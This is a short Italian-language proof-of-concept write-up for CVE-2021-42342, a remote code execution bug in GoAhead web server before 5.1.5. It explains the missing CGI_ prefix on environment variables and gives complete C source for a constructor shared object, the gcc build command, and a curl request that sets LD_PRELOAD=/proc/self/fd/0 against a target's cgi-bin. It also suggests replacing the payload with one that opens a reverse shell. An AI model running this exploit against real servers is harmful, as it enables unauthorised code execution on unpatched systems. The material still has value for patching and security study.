
Un piccolo PoC per la recente RCE trovata nel Goahead Webserver precedente alla versione 5.1.5.
Un recente bug in Goahead Webserver è stato scoperto da William Bowling che porta a RCE sul server sfruttato.
Il problema esiste nelle versioni precedenti alla 5.1.5 che, secondo Shodan copre circa 2.8mio server su internet.
Un CVE è ora disponibile [https://nvd.nist.gov/vuln/detail/CVE-2021-42342]
La RCE è causata dal fatto che, se il filtro di upload dei file è abilitato, l'utente può caricare file e allo stesso tempo impostare variabili di form utente.
Queste variabili finiscono per diventare variabili d'ambiente del sistema operativo. Normalmente non è un problema, poiché nei normali casi di upload di form, le variabili d'ambiente vengono prefissate con CGI_ (default). Se, invece, il filtro di upload dei file è abilitato, un errore nel codice fa sì che questo prefisso venga omesso = RCE istantanea tramite variabili d'ambiente + file.
Il seguente stamperà semplicemente "Hellow World" sul server remoto, ma potrebbe essere qualsiasi cosa in realtà:
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>
#include <unistd.h>
static void before_main(void) __attribute__((constructor));
static void before_main(void)
{
write(1, "Hello World!\n", 14);
}
Compila con:
gcc -fPIC -shared -o poc.so poc.c -nostartfiles
ora siamo pronti per inviare il nostro file al server. Questo può essere fatto usando curl:
curl -X POST http://[TARGET]/cgi-bin/ -F "LD_PRELOAD=/proc/self/fd/0" -F file='@poc.so;encoder=base64'
cambia [TARGET] con il dominio/indirizzo IP del server target.
Probabilmente vedrai un errore dal server, ma prova con un altro oggetto condiviso che, ad esempio, ti richiami con una bella shell 👍
Una correzione è disponibile con goahead 5.1.5 qui: [https://github.com/embedthis/goahead/issues/305]
Il problema è stato inizialmente scoperto da Willian Bowling del team Perfect Blue CTF.
Durante pbCTF 2021, una sfida era la versione allora esistente (5.1.4) del server goahead, e insieme a Kalmarunionen CTF Team ci siamo imbattuti nello stesso problema 0day nel codice (ancora da divulgare agli autori).